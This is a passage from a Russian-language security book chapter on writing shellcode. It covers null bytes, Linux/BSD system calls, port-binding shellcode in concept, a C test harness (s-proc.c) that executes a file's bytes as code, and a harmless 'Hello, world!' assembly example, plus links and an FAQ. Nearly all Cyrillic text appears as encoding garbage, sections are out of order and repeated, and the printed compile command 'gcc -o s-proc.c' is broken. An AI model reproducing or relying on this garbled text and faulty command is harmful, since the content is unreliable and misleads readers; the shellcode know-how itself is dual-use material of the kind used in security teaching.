� Ñëîæíî íå òîëüêî ïåðåíåñòè shell-êîä íà äðóãîé ïðîöåññîð, íî äàæå íà
äðóãóþ îïåðàöèîííóþ ñèñòåìó, ðàáîòàþùóþ íà òîì æå ïðîöåññîðå, ïî-
ñêîëüêó â àññåìáëåðíîì êîäå ÷àñòî áûâàþò «çàøèòû» íîìåðà ñèñòåì-
íûõ âûçîâîâ.

Ïðîáëåìà íóëåâîãî áàéòàÏðîáëåìà íóëåâîãî áàéòàÏðîáëåìà íóëåâîãî áàéòàÏðîáëåìà íóëåâîãî áàéòàÏðîáëåìà íóëåâîãî áàéòà
� Ìíîãèå ôóíêöèè äëÿ ðàáîòû ñî ñòðîêàìè îæèäàþò, ÷òî ñòðîêà çàâåð-

øàåòñÿ íóëåâûì áàéòîì. Åñëè shell-êîä ñîäåðæèò òàêîé áàéò, òî îí áó-
äåò èíòåðïðåòèðîâàòüñÿ êàê êîíåö ñòðîêè, ñëåäîâàòåëüíî, âñå ïîñëå-
äóþùèå áàéòû áóäóò ïðîèãíîðèðîâàíû ïðè êîïèðîâàíèè.

Ðåàëèçàöèÿ ñèñòåìíûõ âûçîâîâÐåàëèçàöèÿ ñèñòåìíûõ âûçîâîâÐåàëèçàöèÿ ñèñòåìíûõ âûçîâîâÐåàëèçàöèÿ ñèñòåìíûõ âûçîâîâÐåàëèçàöèÿ ñèñòåìíûõ âûçîâîâ
� Ïðè íàïèñàíèè àññåìáëåðíûõ ïðîãðàìì äëÿ Linux è *BSD ÿäðî âûçû-

âàåòñÿ ñ ïîìîùüþ êîìàíäû «int 0x80».
� Ó êàæäîãî ñèñòåìíîãî âûçîâà åñòü óíèêàëüíûé íîìåð, èçâåñòíûé ÿäðó.

×àñòî íîìåðà íå ïðèâîäÿòñÿ â ñòðàíèöàõ ðóêîâîäñòâà, íî èõ ìîæíî
íàéòè â èñõîäíûõ òåêñòàõ ÿäðà è â çàãîëîâî÷íûõ ôàéëàõ.

� Ñèñòåìíûå âûçîâû âîçâðàùàþò çíà÷åíèå â ðåãèñòðå EAX. Íî åñòü è
èñêëþ÷åíèÿ, íàïðèìåð, â ñèñòåìå FreeBSD ñèñòåìíûé âûçîâ fork() âîç-
âðàùàåò çíà÷åíèÿ â äðóãèõ ðåãèñòðàõ.

Âíåäðåíèå shell-êîäà â óäàëåííóþ ïðîãðàììóÂíåäðåíèå shell-êîäà â óäàëåííóþ ïðîãðàììóÂíåäðåíèå shell-êîäà â óäàëåííóþ ïðîãðàììóÂíåäðåíèå shell-êîäà â óäàëåííóþ ïðîãðàììóÂíåäðåíèå shell-êîäà â óäàëåííóþ ïðîãðàììó
� Îäèí è òîò æå shell-êîä ìîæíî èñïîëüçîâàòü â ëîêàëüíûõ è óäàëåííûõ

ýêñïëîéòàõ. Ðàçíèöà â òîì, ÷òî shell-êîä, âíåäðåííûé â óäàëåííóþ ïðî-
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ãðàììó, ìîæåò âûïîëíÿòü ïðèâÿçêó ê ïîðòó è çàïóñê óäàëåííîãî èí-
òåðïðåòàòîðà êîìàíä.

� Îäèí èç ñàìûõ ðàñïðîñòðàíåííûõ shell-êîäîâ ïðîñòî ïðèâÿçûâàåò èí-
òåðïðåòàòîð êîìàíä ê ïîðòó ñ áîëüøèì íîìåðîì. Â ðåçóëüòàòå ñåðâåð
íà âçëîìàííîì õîñòå áóäåò çàïóñêàòü îáîëî÷êó â îòâåò íà çàïðîñ î ñî-
åäèíåíèè.

� Âûáèðàÿ shell-êîä äëÿ ýêñïëîéòà, ñëåäóåò ïðåäïîëàãàòü, ÷òî íà àòàêóå-
ìîì õîñòå óñòàíîâëåí ìåæñåòåâîé ýêðàí, çàïðåùàþùèé ñîåäèíåíèÿ ñî
âñåìè ïîðòàìè, êðîìå ÿâíî îòêðûòûõ. Â òàêîì ñëó÷àå íóæíî èñïîëü-
çîâàòü óæå ñóùåñòâóþùèé äåñêðèïòîð ñîêåòà, à íå ñîçäàâàòü íîâûé.

Âíåäðåíèå shell-êîäà â ëîêàëüíóþ ïðîãðàììóÂíåäðåíèå shell-êîäà â ëîêàëüíóþ ïðîãðàììóÂíåäðåíèå shell-êîäà â ëîêàëüíóþ ïðîãðàììóÂíåäðåíèå shell-êîäà â ëîêàëüíóþ ïðîãðàììóÂíåäðåíèå shell-êîäà â ëîêàëüíóþ ïðîãðàììó
� Shell-êîä, âíåäðåííûé â ëîêàëüíóþ ïðîãðàììó, íå âûïîëíÿåò íèêàêèõ

ñåòåâûõ îïåðàöèé, â îñòàëüíîì îí ìîæåò íè÷åì íå îòëè÷àòüñÿ îò shell-
êîäà, ïðåäíàçíà÷åííîãî äëÿ âíåäðåíèÿ â óäàëåííóþ ïðîãðàììó.

Íàïèñàíèå shell-êîäà äëÿ WindowsÍàïèñàíèå shell-êîäà äëÿ WindowsÍàïèñàíèå shell-êîäà äëÿ WindowsÍàïèñàíèå shell-êîäà äëÿ WindowsÍàïèñàíèå shell-êîäà äëÿ Windows
� Ñðåäà ðàçðàáîòêè Visual Studio ìîæåò î÷åíü ïîìî÷ü ïðè íàïèñàíèè

shell-êîäà. Èñïîëíåíèå â ïîøàãîâîì ðåæèìå ïðîãðàììû, íàïèñàííîé
íà C/C++, â îêíå äèçàññåìáëåðà ïîêàçûâàåò ñãåíåðèðîâàííûå ìàøèí-
íûå êîìàíäû, êîòîðûå ìîæíî èñïîëüçîâàòü â shell-êîäå.

Ссылки на сайты
� www.appl icationdefense.com. Íà ñàéòå  Appl ication Defense èìååòñÿ áîëü-

øàÿ ïîäáîðêà áåñïëàòíûõ èíñòðóìåíòîâ ïî îáåñïå÷åíèþ áåçîïàñíîñòè
â äîïîëíåíèå ê ïðîãðàììàì, ïðåäñòàâëåííûì â ýòîé êíèãå.

� www.metasploit.com. Íà ñàéòå ïðîåêòà Metasploit åñòü îòëè÷íàÿ ïîäáîð-
êà shell-êîäîâ, à òàêæå êàðêàñ äëÿ ñîçäàíèÿ íîâûõ ýêñïëîéòîâ.

� http://ollydbg.win32asmcommunity.net/index.php. Ôîðóì, íà êîòîðîì îá-
ñóæäàþòñÿ âîïðîñû, ñâÿçàííûå ñ ïðîãðàììîé ollydbg. Ïðèâåäåíû ññûë-
êè íà ðàçëè÷íûå äîïîëíèòåëüíûå ìîäóëè äëÿ olly è ïðèåìû èñïîëüçî-
âàíèÿ olly äëÿ ïîèñêà óÿçâèìîñòåé.

� www.shellcode.com.ar. Îòëè÷íûé ñàéò, ïîñâÿùåííûé âîïðîñàì èíôîð-
ìàöèîííîé áåçîïàñíîñòè. Åñòü îáñóæäåíèÿ è ïðèìåðû shell-êîäîâ, íî
äîêóìåíòàöèÿ òðóäíà äëÿ âîñïðèÿòèÿ.

� www.enderunix.org/docs/en/sc-en.txt. Õîðîøèé ñàéò ñ èíòåðåñíîé èí-
ôîðìàöèåé î ðàçðàáîòêå shell-êîäà. Âêëþ÷àåò â ÷àñòíîñòè ïîäðîáíóþ
ñòàòüþ ïî ýòîé òåìå.

Ссылки на сайты
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� www.k-otik.com. Åùå îäèí ñàéò ñ àðõèâîì ýêñïëîéòîâ. Â îñíîâíîì, ïî-
ñâÿùåí ýêñïëîéòàì äëÿ Windows.

� www.immunitysec.org. Ñàéò ñîäåðæèò ðÿä âåëèêîëåïíûõ ñòàòåé ïî íà-
ïèñàíèþ ýêñïëîéòîâ, à òàêæå íåñêîëüêî âåñüìà ïîëåçíûõ èíñòðóìåí-
òîâ, â ÷àñòíîñòè, ãåíåðàòîð ñëó÷àéíûõ çàïðîñîâ.

Списки рассылки
� SecurityFocus.com. Âñå ñïèñêè ðàññûëêè íà ñàéòå securityfocus.com, ïðè-

íàäëåæàùåì êîìïàíèè Symantec, – ýòî îòëè÷íûé èñòî÷íèê èíôîðìà-
öèè î ïîñëåäíèõ óãðîçàõ, óÿçâèìîñòÿõ è ýêñïëîéòàõ. Íèæå ïðèâåäåíû
àäðåñà òðåõ òàêèõ ñïèñêîâ:
� Bugtraq@securityfocus.com;
� Focus-MS@securityfocus.com;
� Pen-Test@securityfocus.com.

Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåí-
íûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå
çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çà-
ïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðó-
ãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: ß ñëûøàë, ÷òî shell-êîä, ñîäåðæàùèé íóëåâûå áàéòû, áåñïîëåçåí. Ýòî
äåéñòâèòåëüíî òàê?

Î:Î:Î:Î:Î: Îòâåò çàâèñèò îò ñïîñîáà èñïîëüçîâàíèÿ shell-êîäà. Åñëè îí âíåäðÿåòñÿ
â ïðîãðàììó ñ ïîìîùüþ ôóíêöèè, êîòîðàÿ ñ÷èòàåò íóëåâîé áàéò ïðèçíàêîì
êîíöà ñòðîêè, òî äà – áåñïîëåçåí. Íî åñòü ìíîãî äðóãèõ ñïîñîáîâ âíåäðåíèÿ,
êîòîðûì íóëåâûå áàéòû íå ìåøàþò. Íàïðèìåð, ïðè àòàêå íà ëîêàëüíóþ ïðî-
ãðàììó ìîæíî ïîìåñòèòü shell-êîä â ïåðåìåííóþ îêðóæåíèÿ.

Â:Â:Â:Â:Â: Ìîé shell-êîä ñîäåðæèò áàéòû, èç-çà êîòîðûõ àòàêóåìîå ïðèëîæåíèå îò-
âåðãàåò åãî. ×òî äåëàòü?

Î:Î:Î:Î:Î: Äëÿ íà÷àëà äèçàññåìáëèðóéòå shell-êîä, íàïðèìåð, ñ ïîìîùüþ ïðîãðàì-
ìû disasm èç ïàêåòà nasm. Ïîïûòàéòåñü íàéòè, êàêèå êîìàíäû àññåìáëåð
òðàíñëèðóåò â «ïëîõèå» áàéòû. Ïîïðîáóéòå çàìåíèòü ýòè êîìàíäû äðóãèìè,
ïðè òðàíñëÿöèè êîòîðûõ òàêèõ áàéòîâ íå âîçíèêàåò. Åñëè íè÷åãî íå ïîëó÷à-
åòñÿ, çàêîäèðóéòå shell-êîä.
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Â:Â:Â:Â:Â: Ðàçðàáîòêà shell-êîäà ìíå êàæåòñÿ ñëèøêîì òðóäíîé. Íåò ëè èíñòðóìåí-
òîâ äëÿ àâòîìàòè÷åñêîé ãåíåðàöèè?

Î:Î:Î:Î:Î: Åñòü. Â íàñòîÿùåå âðåìÿ ñóùåñòâóþò ïðîãðàììû, êîòîðûå ïîçâîëÿþò
ñîçäàâàòü shell-êîäû, ïîëüçóÿñü ÿçûêàìè ñöåíàðèåâ, íàïðèìåð, Python. Êðîìå
òîãî, íà ìíîãèõ ñàéòàõ â Èíòåðíåòå âûëîæåíû ðàçíîîáðàçíûå shell-êîäû.
Äëÿ íà÷àëà ïîïðîáóéòå îáðàòèòüñÿ ê ïîèñêîâîé ìàøèíå Google ñ çàïðîñîì
«shellcode».

Â:Â:Â:Â:Â: Shell-êîä èñïîëüçóåòñÿ òîëüêî â ýêñïëîéòàõ?
Î:Î:Î:Î:Î: Íåò. Íî, êàê ñëåäóåò èç ñàìîãî íàçâàíèÿ, shell-êîä ïðåäíàçíà÷åí äëÿ

òîãî, ÷òîáû ïîëó÷èòü shell (èíòåðïðåòàòîð êîìàíä, îáîëî÷êó). Íà ñàìîì äåëå,
ñëîâî «shell-êîä» ìîæíî ñ÷èòàòü ñèíîíèìîì «ïîçèöèîííî-íåçàâèñèìîãî
êîäà, ïðèçâàííîãî èçìåíèòü ïîñëåäîâàòåëüíîñòü âûïîëíåíèÿ ïðîãðàììû».
Ïî÷òè ëþáîé èç ïðèâåäåííûõ â ýòîé êíèãå shell-êîäîâ ìîæíî èñïîëüçîâàòü,
íàïðèìåð, äëÿ çàðàæåíèÿ äâîè÷íîãî ôàéëà.

Â:Â:Â:Â:Â: Ìîãóò ëè ñèñòåìû îáíàðóæåíèÿ âòîðæåíèé (IDS) ïðåäîòâðàòèòü âûïîë-
íåíèå shell-êîäà?

Î:Î:Î:Î:Î: Áîëüøèíñòâî IDS ýòîãî íå äåëàþò. Îíè ïðîñòî îòìå÷àþò ôàêò îáíàðó-
æåíèÿ shell-êîäà. Óâèäåâ òàêîå ñîîáùåíèå, àäìèíèñòðàòîð äîëæåí çàêðûòü
äîñòóï ê ñâîåé ñåòè èëè õîñòó. Íåêîòîðûå IDS ìîãóò ñàìîñòîÿòåëüíî çàêðûòü
äîñòóï, åñëè îáíàðóæàò, ÷òî áûë ïîñëàí shell-êîä. Îáû÷íî îíè êîíôèãóðèðó-
þòñÿ äëÿ ðàáîòû ñîâìåñòíî ñ ìåæñåòåâûì ýêðàíîì. Íî ïîñêîëüêó ñèãíàòóðà
shell-êîäà ÷àñòî ïðèâîäèò ê ëîæíûì ñðàáàòûâàíèÿì, ïî áîëüøåé ÷àñòè IDS
íå ïûòàþòñÿ ïðåäïðèíèìàòü àêòèâíûå äåéñòâèÿ.

Â:Â:Â:Â:Â: Åñëè ëè ñïîñîá ïðåîáðàçîâàòü ìàññèâ áàéòîâûõ êîäîâ îáðàòíî â àññåìá-
ëåðíûå êîìàíäû?

Î:Î:Î:Î:Î: Ìàøèííûå êîìàíäû ìîæíî ïðîñìàòðèâàòü â âèäå àññåìáëåðíîãî êîäà
ñ ïîìîùüþ Visual Studio. Âîçüìèòå ïðîãðàììó sleepop.c, âûïîëíèòå ôóíêöèþ
opcode() â ïîøàãîâîì ðåæèìå è ïåðåéäèòå â îêíî äèçàññåìáëåðà (Alt + 8Alt + 8Alt + 8Alt + 8Alt + 8).

Â:Â:Â:Â:Â: Ïîñëå íàïèñàíèÿ è êîìïèëÿöèè shell-êîäà, ÿ äèçàññåìáëèðîâàë äâîè÷-
íûé êîä, ñîçäàííûé nasm, è îáíàðóæèë êîìàíäû, êîòîðûõ íå ïèñàë. Â ÷åì
äåëî?

Î:Î:Î:Î:Î: Ïîñìîòðèòå âíèìàòåëüíî íà ðåçóëüòàò ðàáîòû äèçàññåìáëåðà. Îí íå
óìååò îáðàáàòûâàòü ñòðîêè, âñòðå÷àþùèåñÿ â àññåìáëåðíîì êîäå. Íàïðèìåð,
åñëè âñòðå÷àåòñÿ ñòðîêà «/bin/sh», òî äèçàññåìáëåð áóäåò èíòåðïðåòèðîâàòü
åå, êàê ìàøèííûå êîìàíäû. Åñëè âû íå ïîíèìàåòå, îòêóäà â âàøåé ïðîãðàì-
ìå âçÿëèñü ñòðàííûå êîìàíäû, ïîïðîáóéòå ïåðåâåñòè 16-ðè÷íûå áàéòû êî-
ìàíä â ASCII-êîä. Âîçìîæíî, îáíàðóæèòñÿ, ÷òî ýòî äàííûå.

Часто задаваемые вопросы
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Â:Â:Â:Â:Â: Êàê ïðîâåðèòü, ðàáîòàåò ëè shell-êîä, íå èìåÿ óÿçâèìîé ñèñòåìû?
Î:Î:Î:Î:Î: Åñëè óæå åñòü ðàáîòàþùèé ýêñïëîéò äëÿ îáíàðóæåííîé âàìè óÿçâèìî-

ñòè, çàìåíèòå shell-êîä â ýòîì ýêñïëîéòå è ïîïðîáóéòå åãî âûïîëíèòü. Íóæ-
íî òîëüêî ïðèíèìàòü âî âíèìàíèå ðàçìåð shell-êîäà. Îáû÷íî çàìåíà îäíî-
ãî shell-êîäà äðóãèì, ìåíüøåãî ðàçìåðà, íå ïðèâîäèò ê íåïðèÿòíîñòÿì. Íî
åñëè ïîñòóïèòü íàîáîðîò, òî øàíñû íåïðàâèëüíîé ðàáîòû ýêñïëîéòà âîçðàñ-
òàþò. Êàê ïðàâèëî, íàèëó÷øèé (è ñàìûé èíòåðåñíûé) ñïîñîá ïðîòåñòèðîâàòü
ñâîé shell-êîä – èñïîëüçîâàòü åãî â íàïèñàííîì âàìè æå ýêñïëîéòå. Èíîãäà
äëÿ ýòîé öåëè ñïåöèàëüíî ïèøóò óÿçâèìûå ïðîãðàììû, íàïðèìåð, çà ñ÷åò
íåêîððåêòíîãî ïðèìåíåíèÿ ôóíêöèè strcpy().
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Введение
Â ýòîé ãëàâå âû óçíàåòå, êàê ïèñàòü íàèáîëåå ýôôåêòèâíûé shell-êîä äëÿ ðàç-
ëè÷íûõ öåëåé. Ðå÷ü ïîéäåò î ïðîöåäóðå ðàçðàáîòêè shell-êîäà, ìû ïðèâåäåì
ìíîãî ïðèìåðîâ è èçó÷èì èõ øàã çà øàãîì. Ïîñêîëüêó shell-êîä âíåäðÿåòñÿ
â ðàáîòàþùóþ ïðîãðàììó, îí äîëæåí áûòü íàïèñàí ñïåöèàëüíûì îáðàçîì,
òî÷íåå îáëàäàòü ñâîéñòâîì ïîçèöèîííîé íåçàâèñèìîñòè. Ýòî íåîáõîäèìî,
òàê êàê ñîñòîÿíèå ïàìÿòè ðàáîòàþùåé ïðîãðàììû î÷åíü áûñòðî èçìåíÿåò-
ñÿ, ïîýòîìó èñïîëüçîâàòü â shell-êîäå ñòàòè÷åñêèå àäðåñà, íàïðèìåð, â êîìàí-
äàõ âûçîâà ôóíêöèé èëè ïðè îáðàùåíèè ê ñòðîêàì íåâîçìîæíî.

Åñëè shell-êîä ïðåäíàçíà÷àåòñÿ äëÿ òîãî, ÷òîáû ïåðåõâàòèòü óïðàâëåíèå
ïðîãðàììîé, òî ñíà÷àëà ñëåäóåò âíåäðèòü, à çàòåì êàê-òî çàñòàâèòü ïðîãðàì-
ìó âûïîëíèòü åãî. Ýòî îçíà÷àåò, ÷òî âàì íåîáõîäèìî ìàíèïóëèðîâàòü ïà-
ìÿòüþ ïðîãðàììû, ÷òî ïîä÷àñ òðåáóåò âåñüìà íåòðèâèàëüíûõ ïðèåìîâ. Íà-
ïðèìåð, îäíîïîòî÷íûé Web-ñåðâåð ìîæåò îñòàâèòü â ïàìÿòè äàííûå ïðåäû-
äóùåãî çàïðîñà, íà÷èíàÿ èñïîëíÿòü íîâûé. Òîãäà shell-êîä ìîæíî ïåðåäàòü
â êà÷åñòâå ïîëåçíîé íàãðóçêè â ïåðâîì çàïðîñå è çàñòàâèòü ñåðâåð âûïîëíèòü
åãî â õîäå îáðàáîòêè ñëåäóþùåãî.

Äëèíà shell-êîäà èìååò ïåðâîñòåïåííîå çíà÷åíèå, òàê êàê äîñòóïíûå áóôå-
ðà äëÿ åãî ðàçìåùåíèÿ ÷àñòî î÷åíü ìàëû. Â ïîëîâèíå âñåõ óÿçâèìîñòåé ïðè-
õîäèòñÿ ó÷èòûâàòü êàæäûé áàéò shell-êîäà. Â ãëàâàõ 11 è 12, êîãäà ìû áóäåì
ãîâîðèòü î ïåðåïîëíåíèè áóôåðà, ñòàíåò ÿñíî, ÷òî ÷åì êîðî÷å shell-êîä, òåì
âûøå øàíñû íà óñïåøíîå âûïîëíåíèå ýêñïëîéòà.

×òî êàñàåòñÿ ôóíêöèîíàëüíîñòè shell-êîäà, òî òóò ïðåäåëîâ íåò. Ìîæíî
ïîëíîñòüþ ïåðåõâàòèòü óïðàâëåíèå ïðîãðàììîé. Åñëè ïðîãðàììå ïðåäî-
ñòàâëåíû îïåðàöèîííîé ñèñòåìîé îñîáûå ïðèâèëåãèè, è îíà ñîäåðæèò îøèá-
êó, äåëàþùóþ âîçìîæíîé âûïîëíåíèå shell-êîäà, òî îí ìîæåò ñîçäàòü â ñèñ-
òåìå íîâóþ ó÷åòíóþ çàïèñü äëÿ õàêåðà ñ òàêèìè æå ïðèâèëåãèÿìè. ×òîáû
ñîâåðøåíñòâîâàòüñÿ â èñêóññòâå îáíàðóæåíèÿ è çàùèòû îò shell-êîäîâ, âû
äîëæíû ñíà÷àëà íàó÷èòüñÿ ïèñàòü èõ.

Примеры shell�кодов
Â ýòîì ðàçäåëå ìû ïîêàæåì, êàê ïèñàòü shell-êîä, è îáñóäèì ðàçëè÷íûå ïðè-
åìû, ïîçâîëÿþùèå äîñòè÷ü ìàêñèìàëüíîãî ýôôåêòà îò àòàêè íà óÿçâèìîñòü.
Íî ïðåæäå ÷åì ïåðåõîäèòü ê êîíêðåòíûì ïðèìåðàì, ðàññìîòðèì îáùóþ
ïîñëåäîâàòåëüíîñòü, êîòîðîé ñòîèò ïðèäåðæèâàòüñÿ â áîëüøèíñòâå ñëó÷àåâ.

Âî-ïåðâûõ, ÷òîáû îòêîìïèëèðîâàòü shell-êîä, íóæíî óñòàíîâèòü íà òåñòî-
âóþ ñèñòåìó ïàêåò nasm. Îí ïîçâîëÿåò îòòðàíñëèðîâàòü àññåìáëåðíûé êîä,
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êîòîðûé çàòåì ìîæíî ïðåîáðàçîâàòü â ñòðîêó è âñòàâèòü â ýêñïëîéò. Ïàêåò
nasm âêëþ÷àåò òàêæå îòëè÷íûé äèçàññåìáëåð, ñ ïîìîùüþ êîòîðîãî ìîæíî
âîññòàíîâèòü èñõîäíûé âèä îòêîìïèëèðîâàííîãî shell-êîäà.

Îòêîìïèëèðîâàâ shell-êîä, âû ìîæåòå âîñïîëüçîâàòüñÿ ïîêàçàííîé íèæå
óòèëèòîé äëÿ åãî òåñòèðîâàíèÿ. Ýòà ïðîãðàììà ïîçâîëÿåò ðàñïå÷àòàòü shell-
êîä â âèäå 16-ðè÷íîé ñòðîêè è âûïîëíèòü åãî. Ñëåäîâàòåëüíî, â ïðîöåññå
ðàçðàáîòêè îíà áóäåò âàì î÷åíü ïîëåçíà.

 1 #include <stdio.h>

 2 #include <stdlib.h>

 3 #include <sys/types.h>

 4 #include <sys/stat.h>

 5 #include <unistd.h>

 6 #include <errno.h>

 7
 8 /*

 9  * Ôóíêöèÿ ïå÷àòè ñîîáùåíèÿ

10  */

11 static void

12 croak(const char *msg) {

13     fprintf(stderr, "%s\n", msg);

14     fflush(stderr);

15 }

16 /*

17  * Ôóíêöèÿ usage

18  */

19 static void

20 usage(const char *prgnam) {

21   fprintf(stderr, "\nÂûïîëíèòü êîä : %s -e <file-containing-

     shellcode>\n", prgnam);

22 fprintf(stderr, "Êîíâåðòèðîâàòü êîä : %s -p <file-containing-shellcode>
   \n\n", prgnam);

23     fflush(stderr);

24     exit(1);

25 }

26 /*

27  * Ñîîáùèòü îá îøèáêå è âûéòè.

28  */

29 static void

30 barf(const char *msg) {

31   perror(msg);
32   exit(1);
33 }

34
35 /*

36  * Íà÷àëî ïðîãðàììû

37  */

Примеры shell�кодов
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38
39 int

40 main(int argc, char **argv) {

41   FILE        *fp;
42   void        *code;
43   int         arg;
44   int         i;
45   int         l;
46   int         m = 15; /* ìàêñ ÷èñëî áàéò, ïå÷àòàåìûõ â ñòðîêå */
47
48   struct stat sbuf;

49   long        flen;   /* ñ÷èòàåì, ÷òî äëèíà ôàéëà < 2**32 áàéò */

50   void        (*fptr)(void);

51
52   if(argc < 3) usage(argv[0]);

53   if(stat(argv[2], &sbuf)) barf("failed to stat file");

54   flen = (long) sbuf.st_size;

55   if(!(code = malloc(flen))) barf("îøèáêà ïðè âûäåëåíèè ïàìÿòè");

56   if(!(fp = fopen(argv[2], "rb"))) barf("îøèáêà ïðè îòêðûòèè ôàéëà");

57   if(fread(code, 1, flen, fp) != flen) barf("îøèáêà ïðè ÷òåíèè ôàéëà ");

58   if(fclose(fp)) barf("îøèáêà ïðè çàêðûòèè ôàéëà");

59
60   while ((arg = getopt (argc, argv, "e:p:")) != -1){

61     switch (arg){

62       case 'e':

63         croak("Âûçûâàåòñÿ êîä ...");

64         fptr = (void (*)(void)) code;

65         (*fptr)();

66         break;

67       case 'p':

68         printf("\n/* Äëèíà shell-êîäà %d áàéòîâ: */\n",flen);

69         printf("\nchar shellcode[] =\n");

70         l = m;

71         for(i = 0; i < flen; ++i) {

72           if(l >= m) {

73             if(i) printf("\"\n");

74             printf( "\t\"");

75             l = 0;

76           }

77           ++l;

78           printf("\\x%02x", ((unsigned char *)code)[i]);

79         }

80         printf("\";\n\n\n");

81
82         break;

83       default :

84         usage(argv[0]);

85     }

86   }
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87   return 0;

88 }

89

Äëÿ êîìïèëÿöèè ïðîãðàììû ñîõðàíèòå ýòîò òåêñò â ôàéëå s-proc.c è âû-
ïîëíèòå ñëåäóþùóþ êîìàíäó:

gcc -o s-proc.c

Åñëè âû âïîñëåäñòâèè çàõîòèòå ïðîòåñòèðîâàòü êàêîé-íèáóäü èç shell-êî-
äîâ, ïðèâåäåííûõ â ýòîé ãëàâå, òî âûïîëíèòå ñëåäóþùèå äåéñòâèÿ:

1. Ââåäèòå àññåìáëåðíûå êîìàíäû â ôàéë ñ ðàñøèðåíèåì .S;
2. Íàáåðèòå êîìàíäó nasm -o <filename> <filename>.S;
3. Äëÿ ðàñïå÷àòêè shell-êîäà íàáåðèòå êîìàíäó s-proc -p <filename>;
4. Äëÿ èñïîëíåíèÿ shell-êîäà íàáåðèòå êîìàíäó s-proc -e <filename>.

Â ñëåäóþùèõ ïðèìåðàõ shell-êîäîâ ïîêàçàíî, êàê ïîëüçîâàòüñÿ êîìàíäàìè
nasm è s-proc.

Системный вызов write

Â êà÷åñòâå ââîäíîãî ïðèìåðà ëó÷øå âñåãî ïîäîéäåò shell-êîä, êîòîðûé âûâî-
äèò ñòðîêó «Hello, world!» íà òåðìèíàë â ñèñòåìàõ Linux è FreeBSD. Äëÿ âûâîäà
ñèìâîëîâ íà ýêðàí èëè â ôàéë ïðèìåíÿåòñÿ ñèñòåìíûé âûçîâ write. Ñòðàíèöà
ðóêîâîäñòâà ãîâîðèò, ÷òî ó ýòîãî ñèñòåìíîãî âûçîâà åñòü òðè àðãóìåíòà:

� äåñêðèïòîð ôàéëà;
� óêàçàòåëü íà äàííûå;
� ÷èñëî ïîäëåæàùèõ âûâîäó áàéòîâ.

Êàê âû, âåðîÿòíî, çíàåòå, äåñêðèïòîðû ìîãóò áûòü ñâÿçàíû íå òîëüêî
ñ ôàéëàìè. Òàê, äåñêðèïòîðû 0, 1 è 2 îòíîñÿòñÿ ê ñòàíäàðòíîìó ââîäó (stdin),
ñòàíäàðòíîìó âûâîäó (stdout) è ñòàíäàðòíîìó âûâîäó äëÿ îøèáîê (stderr) ñî-
îòâåòñòâåííî. Îíè ïîçâîëÿþò ÷èòàòü äàííûå, à òàêæå âûâîäèò îáû÷íûå ñî-
îáùåíèÿ è ñîîáùåíèÿ îá îøèáêàõ. Ìû âûâåäåì ñîîáùåíèå «Hello, world!» íà
ñòàíäàðòíûé âûâîä, êîòîðûé îáû÷íî ñâÿçàí ñ òåðìèíàëîì. Ñëåäîâàòåëüíî,
ïåðâûì àðãóìåíòîì write áóäåò 1. Âòîðîé àðãóìåíò – ýòî óêàçàòåëü íà ñòðîêó
«Hello, world!», à òðåòèé – äëèíà ýòîé ñòðîêè.

Ñëåäóþùàÿ ïðîãðàììà íà ÿçûêå C èëëþñòðèðóåò èñïîëüçîâàíèå ñèñòåìíî-
ãî âûçîâà write:

1 int main() {

2     char *string = "Hello, world!";
3     write(1, string, 13);

4 }

Примеры shell�кодов
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Ïîñêîëüêó shell-êîäó íóæåí óêàçàòåëü íà ñòðîêó, òî íåîáõîäèìî îïðåäå-
ëèòü ïîëîæåíèå ñòðîêè â ïàìÿòè, ëèáî çàòîëêíóâ åå â ñòåê, ëèáî âîñïîëüçî-
âàâøèñü òåõíèêîé jmp/call. Â ïðèìåðå äëÿ Linux ìû ïðèìåíèì âàðèàíò ñ jmp/
call, à äëÿ FreeBSD – ìåòîä çàòàëêèâàíèÿ â ñòåê. Â ïðèìåðå 9.1 ïîêàçàí àññåìá-
ëåðíûé êîä äëÿ Linux, êîòîðûé âûâîäèò ñòðîêó «Hello, world!» íà ñòàíäàðòíûé
âûâîä:

Пример 9.1. Пример 9.1. Пример 9.1. Пример 9.1. Пример 9.1. Вывод строки «Hello, world!» для Linux
 1 xor eax,eax

 2 xor ebx,ebx

 3 xor ecx,ecx

 4 xor edx,edx

 5 jmp short string

 6 code:

 7 pop ecx

 8 mov bl,1

 9 mov dl,13

10 mov al,4

11 int 0x80

12 dec bl

13 mov al,1

14 int 0x80

15 string:

16 call code

17 db 'Hello, world!'

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 1–4 ìû ñ ïîìîùüþ êîìàíäû XOR îáíóëÿåì ðåãèñòðû.
� Â ñòðîêå 5 ïðîèçâîäèòñÿ ïåðåõîä íà ìåòêó string, ãäå íàõîäèòñÿ êîìàíäà

âûçîâà «ôóíêöèè» code. Âûøå óæå îáúÿñíÿëîñü, ÷òî êîìàíäà call ïîìå-
ùàåò ñ÷åò÷èê êîìàíä â ñòåê, à çàòåì ïåðåõîäèò ïî óêàçàííîìó â îïåðàí-
äå àäðåñó.

� Â ñòðîêå 7 èç ñòåêà â ðåãèñòð ECX èçâëåêàåòñÿ àäðåñ êîìàíäû, ñëåäóþ-
ùåé çà ìåòêîé code, à ýòî åñòü íå ÷òî èíîå, êàê àäðåñ íà÷àëà ñòðîêè
«Hello, world!», òî åñòü âòîðîé àðãóìåíò ñèñòåìíîãî âûçîâà write. Â ñòðî-
êàõ 8 è 9 ìû ïîìåùàåì äåñêðèïòîð ôàéëà â ðåãèñòð BL, à ÷èñëî âûâîäè-
ìûõ ñèìâîëîâ – â ðåãèñòð DL.

� Òåïåðü âñå àðãóìåíòû ïîäãîòîâëåíû, ïîýòîìó â ñòðîêå 10 ìû çàíîñèì
â ðåãèñòð AL íîìåð ñèñòåìíîãî âûçîâà, à â ñòðîêå 11 âûçûâàåì ÿäðî.

